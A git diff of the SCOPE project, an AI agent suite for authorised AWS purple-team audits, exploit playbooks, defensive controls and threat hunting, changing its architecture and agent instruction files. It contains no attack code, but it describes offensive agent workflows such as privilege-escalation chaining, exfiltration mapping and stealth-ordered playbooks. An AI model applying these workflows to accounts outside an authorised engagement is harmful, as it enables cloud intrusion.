diff --git a/.gitignore b/.gitignore index 993e1a9..986d8f6 100644 --- a/.gitignore +++ b/.gitignore @@ -14,6 +14,11 @@ __pycache__/ .gemini/ .agents/ +# Platform project docs (generated by install.js from config/project-docs/) +/CLAUDE.md +/GEMINI.md +/AGENTS.md + .planning/ .obsidian/ @@ -28,6 +33,12 @@ audit/ exploit/ hunt/ +# Test scratch space +test/tmp/ + +# Node +node_modules/ + # Dashboard dashboard/node_modules/ dashboard/dist/ @@ -39,5 +50,7 @@ dashboard/dashboard.html # Config (user-specific — contains real account IDs and policies) config/accounts.json +config/index.json config/scps/*.json !config/scps/_example.json +config/observations.md diff --git a/.planning/phases/53-permission-state-model-fixes/53-REVIEW.md b/.planning/phases/53-permission-state-model-fixes/53-REVIEW.md deleted file mode 100644 index 5a2d48b..0000000 --- a/.planning/phases/53-permission-state-model-fixes/53-REVIEW.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -phase: 53-permission-state-model-fixes -reviewed: 2026-04-14T04:05:06Z -depth: standard -files_reviewed: 1 -files_reviewed_list: - - agents/scope-exploit.md -findings: - critical: 0 - warning: 3 - info: 0 - total: 3 -status: issues_found ---- - -# Phase 53: Code Review Report - -**Reviewed:** 2026-04-14T04:05:06Z -**Depth:** standard -**Files Reviewed:** 1 -**Status:** issues_found - -## Summary - -Reviewed `agents/scope-exploit.md` for workflow correctness and instruction consistency. No source-code security issues were in scope for this file type, but the agent contract has three correctness problems: path-qualified IAM ARNs are parsed incorrectly, explicit `federated-user` support is documented but unreachable, and run-index persistence is inconsistent across stop/skip branches. - -## Warnings - -### WR-01: IAM ARN parsing breaks principals that include paths - -**File:** `agents/scope-exploit.md:436-437` -**Issue:** The file derives `PRINCIPAL_NAME` with `cut -d/ -f2`, and repeats the same pattern for normalized user/role ARNs at lines `519` and `537`. That works only for pathless principals. IAM ARNs commonly include paths, for example `arn:aws:iam::123456789012:role/team/DevOps` or `...:user/division/alice`; this logic resolves `team` or `division` instead of the actual principal name. Downstream calls such as `get-role`, `list-attached-role-policies`, and `get-user` will then target the wrong principal or fail outright. -**Fix:** -```bash -# Always take the final path segment as the friendly name -PRINCIPAL_NAME="${TARGET_ARN##*/}" -PRINCIPAL_TYPE=$(echo "$TARGET_ARN" | cut -d: -f6 | cut -d/ -f1) -TARGET_SLUG="${PRINCIPAL_TYPE%-*}-${PRINCIPAL_NAME,,}" -``` - -### WR-02: Explicit federated-user targets are rejected before the documented handler can run - -**File:** `agents/scope-exploit.md:408-410` -**Issue:** ARN validation accepts only `user`, `role`, and `assumed-role`, but the normalization section later includes a dedicated `federated-user` branch at lines `522-531` and Gate 1 advertises `federated-user` as a supported principal type at line `276`. As written, an explicit `arn:aws:sts::...:federated-user/...` input is always rejected, so that branch is dead and the documented support never works. -**Fix:** -```bash -# Include federated-user in the accepted explicit-ARN forms -^arn:aws:(iam|sts)::[0-9]{12}:(user|role|assumed-role|federated-user)/ -``` -Or, if explicit federated-user targeting is intentionally unsupported, remove the later branch and the Gate 1 copy so the contract is consistent. - -### WR-03: Stop/skip branches can omit `exploit/index.json`, leaving completed runs invisible to machine readers - -**File:** `agents/scope-exploit.md:91-93` -**Issue:** The zero-path and Gate 4 skip exceptions say only `agent-log.jsonl` and `INDEX.md` are required, while the session-isolation contract later says every run also updates `./exploit/index.json` (`agents/scope-exploit.md:225-238`) and "after each run" append/update behavior is required. A run that stops on those exception paths can satisfy the earlier section while never being written to `exploit/index.json`, which breaks downstream consumers that rely on the JSON index rather than the markdown table. -**Fix:** Require `./exploit/index.json` updates in every terminal branch, including zero-path, `skip`, and `stop` at Gate 4. If markdown-only indexing is the intended behavior, remove the unconditional `index.json` contract from the session-isolation section. - ---- - -_Reviewed: 2026-04-14T04:05:06Z_ -_Reviewer: Claude (gsd-code-reviewer)_ -_Depth: standard_ diff --git a/AGENTS.md b/AGENTS.md deleted file mode 100644 index bad7e98..0000000 --- a/AGENTS.md +++ /dev/null @@ -1,229 +0,0 @@ -# SCOPE -- Cross-Platform Agent Suite - -**Project:** SCOPE (Security Cloud Ops Purple Engagement) -- AI agent set for purple team security operations against AWS accounts: resource audit -> exploit playbook generation -> defensive controls with SCPs and SPL detections -> SOC alert investigation. - -The audit agent is an orchestrator that dispatches enumeration subagents in parallel. Standalone agents (exploit, hunt) reference subagents at `agents/subagents/` for verification and pipeline. - -## Agents - -``` -agents/scope-audit.md AWS audit orchestrator — dispatches enum subagents in parallel -agents/scope-defend.md Defensive controls generation — dispatched by orchestrator or invoked directly -agents/scope-exploit.md Privilege escalation playbooks -agents/scope-hunt.md SOC alert investigation, hypothesis-driven threat hunting, and threat intel parsing -``` - -**Subagents** (`agents/subagents/` -- dispatched by orchestrator or read inline): - -``` -agents/subagents/scope-enum-iam.md IAM enumeration -agents/subagents/scope-enum-sts.md STS/identity enumeration -agents/subagents/scope-enum-s3.md S3 enumeration -agents/subagents/scope-enum-kms.md KMS enumeration -agents/subagents/scope-enum-secrets.md Secrets Manager enumeration -agents/subagents/scope-enum-lambda.md Lambda enumeration -agents/subagents/scope-enum-ec2.md EC2/VPC/EBS/ELB/SSM enumeration -agents/subagents/scope-enum-rds.md RDS enumeration -agents/subagents/scope-enum-sns.md SNS enumeration -agents/subagents/scope-enum-sqs.md SQS enumeration -agents/subagents/scope-enum-apigateway.md API Gateway enumeration -agents/subagents/scope-enum-codebuild.md CodeBuild enumeration -agents/subagents/scope-attack-paths.md Attack path reasoning from per-module JSON -agents/subagents/scope-verify.md Unified verification -- claim ledger, AWS API validation, SPL checks (read inline) -agents/subagents/scope-pipeline.md Post-processing middleware -- data normalization then evidence indexing (read inline) -``` - -**Model routing per platform** -- `install.js` assigns models during install: - -| Agent Type | Claude Code | Gemini CLI | Codex | -|------------|-------------|------------|-------| -| Enum subagents | claude-haiku-4-5 | gemini-3.1-flash-lite-preview | gpt-5.4-mini | -| Reasoning (attack-paths, defend, hunt intake) | claude-sonnet-4-6 | gemini-3.1-pro-preview | gpt-5.4 | - -## Architecture - -``` -agents/ Agent .md files -- source format for all editors (flat, one file per agent) -agents/subagents/ Dispatched subagents and inline-read middleware (enum, attack-paths, verify, pipeline) -data/ Normalized JSON output (runtime-generated, gitignored) -agent-logs/ Agent activity logs (runtime-generated, gitignored) -hunt/ Hunt artifacts (runtime-generated, gitignored) -dashboard/ React + D3 dashboard (-dashboard.html) -config/ Optional pre-loaded data (accounts.json, scps/*.json) -bin/ Tooling (install.js -- editor setup, generate-report.js -- dashboard builder) -config/hooks/ Lifecycle hooks -- safety guard, SPL lint, schema validation, artifact check, agent logger -config/schemas/ JSON Schema definitions for results.json (audit, defend, exploit) -config/settings/ Committed hook settings templates for Claude Code and Gemini CLI - -# Runtime output structure (gitignored): -audit// Audit run -- enum JSONs, results.json, findings.md -audit//defend/ Defend output nested under its parent audit run -exploit// Exploit run -- playbooks, results.json -hunt// Hunt artifacts -``` - -## Skills - -Skills are `SKILL.md` files in `.agents/skills/`. Both Gemini CLI and Codex discover skills from this path. - -| Location | Path | -|----------|------| -| Project | `.agents/skills//SKILL.md` | -| User | `~/.agents/skills//SKILL.md` | - -## Subagents - -Subagents are deployed differently per platform: - -**Claude Code** — flat `.md` files in `.claude/agents/` (local) or `~/.claude/agents/` (global): -``` -node bin/install.js --claude --local # deploys to .claude/skills/ + .claude/agents/ -``` - -**Gemini CLI** — flat `.md` files in `.gemini/agents/` (local) or `~/.gemini/agents/` (global). Requires `experimental.enableAgents: true` in `settings.json` (the installer adds this automatically via the settings template): -``` -node bin/install.js --gemini --local # deploys to .agents/skills/ + .gemini/agents/ + .gemini/settings.json -``` - -**Codex** — Codex uses `config.toml` for agent registration. The installer deploys stripped `.md` files to `.codex/agents/` and auto-merges `[agents]` entries into `.codex/config.toml`: -``` -node bin/install.js --codex --local # deploys to .agents/skills/ + .codex/agents/ + updates .codex/config.toml -``` - -## Context Isolation (Claude Code Only) - -SCOPE entry-point skills (`scope-audit`, `scope-hunt`) use `context: fork` in their Claude Code skill frontmatter. When an operator invokes `/scope:audit` or `/scope:hunt`, Claude Code runs the skill in a forked subagent context: the skill content becomes the task, the forked agent gets its own isolated context window, and results summarize back to the main conversation cleanly. - -**Why it exists:** -- Verbose AWS enumeration output and Splunk query result sets stay out of the main conversation window -- Long-running multi-phase operations (audit pipeline, investigation chains) get clean isolation per invocation -- The forked context cannot access pre-invocation conversation history, preventing accidental context contamination - -**Claude Code only:** `context: fork` and `agent:` are Claude Code-native frontmatter fields. The installer strips both fields from Gemini CLI and Codex skill outputs (`installGemini`, `installCodex`, `installSubagentsGemini`, `installSubagentsCodex` strip lists all include `'context'` and `'agent'`). - -**Functionally equivalent fallback (Gemini CLI / Codex):** SCOPE already implements sequential file-based handoff as its primary isolation mechanism. Each agent phase writes structured JSON to `$RUN_DIR/` and downstream agents read from disk -- providing the same context isolation guarantee without requiring platform-specific frontmatter: - -- Enum subagents write `$RUN_DIR/{service}.json` (one file per service) -- `scope-attack-paths` reads all per-module JSON files from `$RUN_DIR/` on disk -- `scope-pipeline` normalizes results to `./data//.json` and validates logs to `./agent-logs//.json` - -On Gemini CLI and Codex, this sequential file-based handoff IS the full context isolation mechanism -- no additional platform flags required. - -## Invocation - -| Platform | Syntax | -|------------|--------| -| Claude Code | `/scope:audit ` | -| Gemini CLI | Describe your task -- model activates the skill automatically. Or use `/skills` to select. | -| Codex | `$scope-audit ` or describe task for implicit activation | - -## Hooks - -Lifecycle hooks enforce safety constraints at the tool level. Source scripts are in `config/hooks/` and settings templates in `config/settings/`. The installer copies hook scripts to platform-native locations (`.claude/hooks/`, `.gemini/hooks/`, or `.codex/hooks/`) and settings to `.claude/settings.json`, `.gemini/settings.json`, or `.codex/hooks.json` with absolute paths. - -**Hook event names by platform:** - -| Hook | Claude Code event | Gemini CLI event | Codex event | -|------|-------------------|------------------|-------------| -| `scope-safety-guard.sh` | PreToolUse (Bash) | BeforeTool (Bash) | PreToolUse (Bash) | -| `scope-aws-output-inject.sh` | — (not applicable) | BeforeTool (Bash) | — (not applicable) | -| `scope-spl-lint.sh` | PostToolUse (Write\|Edit) | AfterTool (Write\|Edit) | PostToolUse (Write\|Edit) | -| `scope-schema-validate.sh` | PostToolUse (Write\|Edit) | AfterTool (Write\|Edit) | PostToolUse (Write\|Edit) | -| `scope-artifact-check.sh` | Stop | AfterAgent | Stop | -| `scope-agent-logger.sh` | PostToolUse (Bash) | AfterTool (Bash) | PostToolUse (Bash) | - -## Schema Enforcement - -Canonical JSON Schema files in `config/schemas/` define required fields for each phase's `results.json`: -- `config/schemas/audit.schema.json` -- audit results -- `config/schemas/defend.schema.json` -- defend results -- `config/schemas/exploit.schema.json` -- exploit results - -**Claude Code / Gemini CLI:** The `scope-schema-validate.sh` hook validates every write to `results.json` or `dashboard/public/*.json` automatically. - -## Output Quality Rules - -These rules apply on all platforms. The `scope-schema-validate.sh` hook validates schema rules on write. - -### Escalation Node Connectivity - -Every escalation node in the attack graph MUST have at least one incoming priv_esc edge. Before writing results.json, count escalation nodes and priv_esc edges. If any escalation node has 0 incoming priv_esc edges, go back and add them before proceeding. - -### Severity Casing - -severity must be exactly one of: critical, high, medium, low (lowercase). No other values. No UPPERCASE variants. No mixed-case variants. - -### Edge Type Enum - -edge_type must be exactly one of: priv_esc, trust, data_access, network, service, public_access, cross_account, membership. No other values. - -## Commands - -| Command | Description | -|---------|-------------| -| `$scope-audit ` | Enumerate AWS resources -- accepts ARN, service name, `--all`, `@targets.csv`, or multiple services inline. Orchestrates parallel subagent dispatch (2+ services). Auto-chains defend after audit completes. | -| `$scope-exploit [--fresh]` | Privilege escalation playbooks, persistence analysis, and exfiltration mapping for a specific principal | -| `$scope-hunt [input]` | SOC alert investigation, hypothesis-driven threat hunting, and threat intel parsing -- three entry points: (1) no argument or Splunk alert/notable ID → investigation mode (Splunk-driven, guided queries, timeline building, IOC correlation); (2) audit/exploit run directory path → hunt mode (reads findings, generates hypotheses, optionally queries Splunk); (3) threat intel URL (`http://`/`https://`) or natural language threat description (APT names, MITRE T-IDs, advisory keywords, IOC strings with threat context) → intel mode (fetches URL via WebFetch, extracts IOCs and TTPs, generates hypotheses beyond the report, reasons about kill chain next steps, hunts in Splunk) | -| `$scope-help` | List available commands, show usage examples | - -Gemini CLI operators: describe the task naturally and the model will activate the appropriate skill. The `$scope-*` prefixes above correspond to skill names in `.agents/skills/`. - -## Data Layer - -A single middleware agent runs automatically after audit, exploit, and defend: -- **scope-pipeline** (`agents/subagents/scope-pipeline.md`) -- Phase 1 normalizes raw artifacts to `./data//.json`, then Phase 2 validates `agent-log.jsonl` into envelopes at `./agent-logs//.json` - -Invoked by the source agent after writing artifacts -- sequential and non-blocking. Hunt does not run this pipeline. - -## Dashboard - -All visualization is handled by the SCOPE dashboard. Agents export `results.json` to `$RUN_DIR/` and `dashboard/public/$RUN_ID.json`. Dashboard loads `index.json`, iterates the `runs[]` array, and fetches the latest entry per source phase. - -**Dashboard HTML** (all environments): After exporting data to `dashboard/public/`, run `cd dashboard && npm run dashboard` to generate a self-contained `-dashboard.html` with all data inlined. This file opens in any browser without a server. Agents MUST generate the dashboard after the data pipeline completes. - -## AWS Credential Model - -SCOPE inherits credentials from the shell environment (AWS_PROFILE, AWS_ACCESS_KEY_ID, or boto3/AWS CLI defaults). No custom credential loading. The first AWS API call (`sts:GetCallerIdentity` at Gate 1) serves as the credential check. - -## Approval Gate Pattern - -Standard workflows are read-only. Before ANY destructive AWS operation: -- Show approval block with action, resources, risk, reason -- Wait for explicit Y/N -- per-step, never batch -- Exploit generates playbooks with write commands but does not execute them - -## Error Handling - -- API throttled -> log visibly, retry once after 2-5s, report if retry fails -- Permission denied (unexpected) -> report with context -- Resource limit hit -> report and suggest cleanup -- Any AWS CLI error -> surface full error message verbatim -- Expected AccessDenied on one target is not an error -- log partial results and continue -- Middleware pipeline failures are non-blocking -- log warnings, never stop the source agent - -## CloudTrail + Splunk - -- CloudTrail is the only log source for Splunk (`index=cloudtrail`) -- Do not assume Splunk is available -- agents must work standalone -- CloudTrail delay: ~5-15 min after simulation before querying - -## Agent Isolation - -scope-hunt has three operating modes with different isolation properties: -- **Detection investigation mode** (invoked without a path, or with a Splunk alert ID): standalone -- does not read audit/exploit/defend output. Isolation matches v1.8 behavior. -- **Hunt mode** (invoked with a SCOPE audit or exploit run directory path): reads `results.json`, attack path JSON, and per-module JSON from the provided run directory. Resource identifiers read in this mode are session-scoped and must not be written to MEMORY.md. -- **Intel mode** (invoked with a threat intel URL or natural language threat description): fetches the URL or parses the description, extracts IOCs and TTPs, generates hypotheses beyond the report, and hunts in Splunk. Extracted identifiers (IPs, ARNs, account IDs, hashes) are session-scoped -- written to `context.json`, not MEMORY.md. - -scope-hunt dispatches mode-specific subagents (scope-hunt-investigate, scope-hunt-intel, scope-hunt-audit) for intake and hypothesis generation. The parent orchestrator handles MCP detection, Splunk execution, evidence timeline, and report generation. Subagents do not have memory access — memory is parent-only. - -All other agents share data through the agent-logs/data layer. - -## Configuration Files - -| File | Purpose | -|------|---------| -| `config/accounts.json` | Owned AWS account IDs -- distinguishes internal vs external cross-account trusts | -| `config/scps/*.json` | Pre-loaded SCPs when caller lacks Organizations API access | -| `config/cloudtrail-classes.json` | CloudTrail event classification -- used by exploit for stealth-ordered playbooks | - -All config files are optional. `accounts.json` and `scps/*.json` are gitignored. `cloudtrail-classes.json` is committed. diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index c614285..d4bbf35 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -5,7 +5,7 @@ Agent communication diagram for the SCOPE pipeline orchestration system. ## Agent Overview **Orchestrator agent** (slash command — operator-triggered): -- `scope-audit` — AWS resource enumeration orchestrator: dispatches enum subagents in parallel, runs attack-paths analysis, auto-chains defend +- `scope-audit` — AWS resource enumeration orchestrator: dispatches SDK enum scripts in parallel, runs attack-paths analysis, auto-chains defend **Standalone agents** (slash commands — operator-triggered): - `scope-exploit` — Privilege escalation playbooks, persistence analysis, exfiltration mapping @@ -14,11 +14,13 @@ Agent communication diagram for the SCOPE pipeline orchestration system. **Operator-invoked or orchestrator-dispatched:** - `scope-defend` — Defensive controls generation — dispatched automatically by scope-audit after Gate 4, or invoked by operator via `/scope:defend [run-dir]` -**Enumeration subagents** (dispatched in parallel by scope-audit, model: haiku): -- `scope-enum-iam`, `scope-enum-sts`, `scope-enum-s3`, `scope-enum-kms`, `scope-enum-secrets`, `scope-enum-lambda`, `scope-enum-ec2`, `scope-enum-rds`, `scope-enum-sns`, `scope-enum-sqs`, `scope-enum-apigateway`, `scope-enum-codebuild` +**Enumeration scripts** (invoked directly by scope-audit via Bash, model: none — deterministic Node.js): +- Enumeration agents removed in v1.14 — replaced by SDK scripts in `scripts/enum/` -**Analysis subagent** (dispatched as fresh-context by scope-audit, model: inherit): -- `scope-attack-paths` — Reads per-module JSON from disk, performs cross-service attack path analysis +**Attack path analysis** (3-phase pipeline dispatched by scope-audit): +- `extract-graph.js` — Deterministic graph extraction from per-module JSON (Node.js, no AI model) +- 4 parallel domain sub-agents — `scope-attack-identity`, `scope-attack-compute`, `scope-attack-data`, `scope-attack-network` (model: inherit) +- `scope-attack-synthesizer` — Cross-domain chain synthesis and deduplication (model: inherit) **Verification agent** (read inline during execution): - `scope-verify` — Unified verification: claim ledger, taxonomy, AWS API validation, SPL lints (domain sections dispatched by caller) @@ -39,24 +41,42 @@ Agent communication diagram for the SCOPE pipeline orchestration system. │ │ Gate 1: credential check │ │ │ Gate 2: batch dispatch approval │ │ │ │ - │ │ Parallel subagent dispatch: │ + │ │ Enumeration (SDK scripts): │ │ │ ┌──────────────────────────┐ │ - │ │ │ 12 enum subagents (haiku)│ │ + │ │ │ scripts/enum/*.js │ │ │ │ │ iam, sts, s3, kms, │ │ │ │ │ secrets, lambda, ec2, │ │ │ │ │ rds, sns, sqs, │ │ - │ │ │ apigateway, codebuild │ │ + │ │ │ apigateway, codebuild, │ │ + │ │ │ bedrock, cognito, │ │ + │ │ │ dynamodb, ssm │ │ │ │ └──────────────────────────┘ │ │ │ │ writes $RUN_DIR/*.json │ │ │ ▼ │ - │ │ scope-attack-paths (sonnet) │ - │ │ (fresh-context, reads from disk) │ + │ │ Attack Path Analysis: │ + │ │ ┌──────────────────────────────┐ │ + │ │ │ extract-graph.js │ │ + │ │ │ (deterministic) │ │ + │ │ └──────────┬───────────────────┘ │ + │ │ ▼ │ + │ │ ┌──────────────────────────────┐ │ + │ │ │ 4 parallel domain sub-agents │ │ + │ │ │ identity, compute, │ │ + │ │ │ data, network │ │ + │ │ └──────────┬───────────────────┘ │ + │ │ ▼ │ + │ │ ┌──────────────────────────────┐ │ + │ │ │ scope-attack-synthesizer │ │ + │ │ │ (cross-domain chains) │ │ + │ │ └──────────────────────────────┘ │ │ │ │ │ │ │ Gate 3: results │ │ │ Gate 4: scope-defend approval │ │ │ │ │ │ │ ▼ │ │ │ scope-defend (auto-chained) │ + │ │ scope-synthesizer │ + │ │ (engagement-report.md) │ │ │ scope-verify (inline) │ │ │ scope-pipeline (inline) │ │ └──────────────────────────────────┘ @@ -65,16 +85,30 @@ Agent communication diagram for the SCOPE pipeline orchestration system. │ │ scope-exploit (standalone) │ │ │ │ │ │ 1. Enumerate / Analyze │ - │ │ 2. Read scope-verify inline │ - │ │ 3. Write artifacts │ - │ │ 4. Read scope-pipeline inline │ + │ │ 2. Dispatch scope-research │ + │ │ (real-world technique lookup) │ + │ │ 3. Read scope-verify inline │ + │ │ 4. Write artifacts │ + │ │ 5. Read scope-pipeline inline │ │ └──────────────────────────────────┘ │ ├── /scope:defend [run-dir] ───►┌──────────────────────────────────┐ │ (operator-invoked after │ scope-defend │ - │ audit completes) │ Reads audit run, │ - │ │ generates SCPs/RCPs, │ - │ │ detections, controls │ + │ audit completes) │ Reads audit run │ + │ │ │ + │ │ Wave 1 (parallel): │ + │ │ ├─ scope-defend-guardrails │ + │ │ ├─ scope-defend-splunk │ + │ │ ├─ scope-defend-policy │ + │ │ └─ scope-defend-remediation │ + │ │ │ │ + │ │ ▼ │ + │ │ Wave 2: │ + │ │ └─ scope-defend-validate │ + │ │ (reviews Wave 1 output) │ + │ │ │ │ + │ │ ▼ │ + │ │ Assembly: results.json │ │ └──────────────────────────────────┘ │ └── /scope:hunt [input] ──►┌──────────────────────────────────┐ @@ -200,8 +234,8 @@ Verification results are in-memory — scope-verify returns corrections to the c ``` ┌───────────────────────────────────┐ │ scope-audit │ - │ (orchestrator — dispatches │ - │ 12 enum subagents + attack-paths) │ + │ (orchestrator — runs SDK scripts │ + │ + runs attack path pipeline) │ └──────────┬────────────────────────┘ │ writes ./audit/ │ @@ -269,10 +303,12 @@ Downstream agents consume upstream output in this priority order: | Agent | Trigger | Reads | Writes | Calls | |-------|---------|-------|--------|-------| -| **audit** | `/scope:audit` | AWS APIs | `$RUN_DIR/findings.md`, `results.json`, `agent-log.jsonl`, per-module JSON | dispatches 12 enum subagents + attack-paths + defend | +| **audit** | `/scope:audit` | AWS APIs | `$RUN_DIR/findings.md`, `results.json`, `agent-log.jsonl`, per-module JSON | runs SDK enum scripts + attack path pipeline (extract-graph.js → 4 domain sub-agents → synthesizer) + defend + synthesizer | | **defend** | orchestrator dispatch or `/scope:defend [run-dir]` (operator) | `$AUDIT_RUN_DIR` (specified run) or `./audit/` (all runs, manual) | `$RUN_DIR/executive-summary.md`, `technical-remediation.md`, `policies/{scp,rcp}-*.json`, `results.json`, `agent-log.jsonl` | scope-verify → scope-pipeline | | **exploit** | `/scope:exploit` | `./audit/` (optional), AWS APIs | `$RUN_DIR/playbook.md`, `results.json`, `agent-log.jsonl` | scope-verify → scope-pipeline | | **hunt** | `/scope:hunt [input]` | Hunt mode: `$HUNT_RUN_DIR/results.json`, attack-paths JSON, per-module JSON, `./hunt/context.json`, Splunk MCP (optional). Investigation mode: Splunk MCP, `./hunt/context.json`. Intel mode: WebFetch (URL) or NL parse, `./hunt/context.json`, Splunk MCP (optional) | `$RUN_DIR/investigation.md`, `$RUN_DIR/agent-log.jsonl` (if saved), `./hunt/context.json` | scope-verify (no post-processing pipeline in any mode) | +| **scope-research** | Dispatched by exploit and attack-paths | WebSearch, external technique references | Research findings (in-memory, consumed by caller) | — | +| **scope-synthesizer** | Dispatched by audit after defend | `$RUN_DIR/`, defend artifacts | `$RUN_DIR/engagement-report.md` | — | | **scope-verify** | Read inline by source agents | Agent claims (in-memory) | Corrected claims (in-memory) | — (domains dispatched internally by XML section) | | **scope-pipeline** | Read inline after artifacts | `$RUN_DIR/` raw artifacts (Phase 1), `$RUN_DIR/agent-log.jsonl` + `./data/` (Phase 2) | `./data/$PHASE/$RUN_ID.json`, `./data/index.json` (Phase 1); `./agent-logs/$PHASE/$RUN_ID.json`, `./agent-logs/index.json` (Phase 2) | — | @@ -297,4 +333,4 @@ config/schemas/ Editor-specific hook configuration: - **Claude Code:** `.claude/settings.json` — PreToolUse / PostToolUse / Stop events - **Gemini CLI:** `.gemini/settings.json` — BeforeTool / AfterTool / AfterAgent events -- **Codex:** No hook support — safety enforced through AGENTS.md guidance; schema compliance is self-checked +- **Codex:** `.codex/hooks.json` — PreToolUse / PostToolUse events diff --git a/CLAUDE.md b/CLAUDE.md index 8d3db35..6929aa4 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,164 +1,54 @@ -# SCOPE — Claude Code +# SCOPE -**Project:** SCOPE (Security Cloud Ops Purple Engagement) — AI agent set for purple team security operations against AWS accounts: resource audit → exploit playbook generation → defensive controls with SCPs and SPL detections → SOC alert investigation. +SCOPE is an AI agent suite for AWS purple team security operations. Agents handle audit, exploit, defend, and hunt workflows. Run `node bin/install.js` to set up your platform. -The audit agent is an orchestrator that dispatches enumeration subagents in parallel. Standalone agents (exploit, hunt) reference subagents at `agents/subagents/` for verification and pipeline. +## Reasoning Philosophy -## Agents +- Creative reasoning over checklists — config files and technique catalogs are starting points for discovery, not exhaustive boundaries +- Reason from the actual environment — real ARNs, real account IDs, real resource names in every finding. Generic output is bad output +- Present facts with severity labels (critical/high/medium/low) — no confidence percentages, no scoring formulas, no mechanical gates on what gets reported. Exception: hunt mode presents facts without severity labels — the analyst interprets data in context +- Chain permissions creatively — a red teamer understands what permissions mean and chains them. Novel paths discovered from the environment are as valid as published techniques +- Every finding should explain why THIS account's specific combination of resources and permissions matters -``` -agents/scope-audit.md AWS audit orchestrator (slash command) — dispatches enum subagents in parallel -agents/scope-defend.md Defensive controls generation (model: claude-sonnet-4-6) — dispatched by orchestrator or invoked via /scope:defend -agents/scope-exploit.md Privilege escalation playbooks (slash command) -agents/scope-hunt.md SOC alert investigation, hypothesis-driven threat hunting, and threat intel parsing (slash command) -``` +## Partial Access -**Subagents** (`agents/subagents/` — dispatched by orchestrator or read inline): +- AccessDenied is signal, not failure — note the error, reason about what it reveals, continue +- Module-level denial means skip that module and move on. Credential errors are the only hard stop +- Accumulate what you can and report gaps explicitly — partial results with known gaps are more valuable than no results +- Zero findings still produce output — a clean-run report is a valid outcome, not a reason to skip artifacts -``` -agents/subagents/scope-enum-iam.md IAM enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-sts.md STS/identity enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-s3.md S3 enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-kms.md KMS enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-secrets.md Secrets Manager enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-lambda.md Lambda enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-ec2.md EC2/VPC/EBS/ELB/SSM enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-rds.md RDS enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-sns.md SNS enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-sqs.md SQS enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-apigateway.md API Gateway enumeration (model: claude-haiku-4-5) -agents/subagents/scope-enum-codebuild.md CodeBuild enumeration (model: claude-haiku-4-5) -agents/subagents/scope-hunt-investigate.md Investigation mode intake — alert parsing, investigation_context, HYPO-01 (model: claude-sonnet-4-6) -agents/subagents/scope-hunt-intel.md Intel mode intake — URL/NL parsing, IOC/TTP extraction, INTEL-03 hypotheses (model: claude-sonnet-4-6) -agents/subagents/scope-hunt-audit.md Hunt mode intake — run-dir loading, HYPO-02/03 hypotheses from attack paths (model: claude-sonnet-4-6) -agents/subagents/scope-attack-paths.md Attack path reasoning from per-module JSON (model: claude-sonnet-4-6) -agents/subagents/scope-verify.md Unified verification — claim ledger, AWS API validation, SPL checks (read inline) -agents/subagents/scope-pipeline.md Post-processing middleware — data normalization then evidence indexing (read inline) -``` +## Operator Pace -> **WARNING -- Session Model Override:** -> SCOPE security-reasoning agents (`scope-attack-paths`, `scope-defend`) require Sonnet-class capability. -> Running Claude Code with `--model haiku` or `ANTHROPIC_MODEL=haiku` overrides subagent model routing -> and will cause these agents to use Haiku regardless of their frontmatter `model: sonnet` pin -> (see [GitHub issue #29768](https://github.com/anthropics/claude-code/issues/29768)). -> **Do not run SCOPE audit sessions with `--model haiku`.** -> If subagents appear to use the wrong model, check the installed `.claude/agents/*.md` file model field as a first diagnostic step. +- Gates are mandatory pauses — never auto-continue past a gate checkpoint +- Propose with reasoning, then wait for approval before executing +- Operator controls what gets probed, what gets written to disk, and what paths are included or excluded +- Explain every step before execution — the operator should never be surprised by what an agent does -> **WARNING -- No Agent Memory:** -> `memory:` is NOT permitted on any SCOPE agent. Do NOT add `memory:` to any agent or subagent file. -> **Cross-account contamination risk:** Agents enumerate AWS resource identifiers (ARNs, account IDs, -> role names, key IDs, bucket names) by design. If any agent wrote to MEMORY.md, resource identifiers -> from one engagement would persist into future sessions on different AWS accounts, creating false -> context and potential information disclosure across customer boundaries. -> A dedicated memory milestone will design proper multi-environment isolation before enabling memory. +## Environmental Learning -## Architecture +Read `config/observations.md` at session start if it exists. This file accumulates patterns across audit runs. -``` -agents/ Agent .md files — source format for all editors (flat, one file per agent) -agents/subagents/ Dispatched subagents and inline-read middleware (enum, attack-paths, verify, pipeline) -data/ Normalized JSON output (runtime-generated, gitignored) -agent-logs/ Agent activity logs (runtime-generated, gitignored) -hunt/ Hunt artifacts (runtime-generated, gitignored) -dashboard/ React + D3 dashboard (`-dashboard.html`) -config/ Optional pre-loaded data (accounts.json, scps/*.json) -bin/ Tooling (install.js — editor setup, generate-report.js — dashboard builder) -config/hooks/ Lifecycle hooks — safety guard, SPL lint, schema validation, artifact check, agent logger -config/schemas/ JSON Schema definitions for results.json (audit, defend, exploit) +During a run: +- Note account-specific patterns (naming conventions, role structure, tagging, service usage) +- Use accumulated context to sharpen downstream reasoning (attack-paths, defend, exploit) +- Flag when a new finding matches a previously observed recurring gap -# Runtime output structure (gitignored): -audit// Audit run — enum JSONs, results.json, findings.md -audit//defend/ Defend output nested under its parent audit run -exploit// Exploit run — playbooks, results.json -hunt// Hunt artifacts -``` +After a run completes: +- Append notable observations to `config/observations.md` (accumulate, don't overwrite) +- Keep entries concise — observations and patterns, not full findings (those live in results.json) +- Cross-account patterns go under "Recurring Gaps" — these build institutional knowledge over time -## Hooks +## Error Visibility -SCOPE uses lifecycle hooks to enforce safety and quality constraints at the tool level. Hook source scripts are in `config/hooks/` and settings templates in `config/settings/`. +- Surface errors immediately — never silently continue past a failure. The operator must know something went wrong within seconds, not after waiting 10 minutes and canceling +- If a subagent fails, a script exits non-zero, or an API call returns an unexpected error: stop, display the error clearly, then decide whether to continue or abort +- Do not retry silently in a loop — if a retry is needed, say so: "X failed, retrying once" +- If an error is recoverable (AccessDenied on one module, partial enum data), fix it and explain what happened before moving on +- If an error is fatal (credential 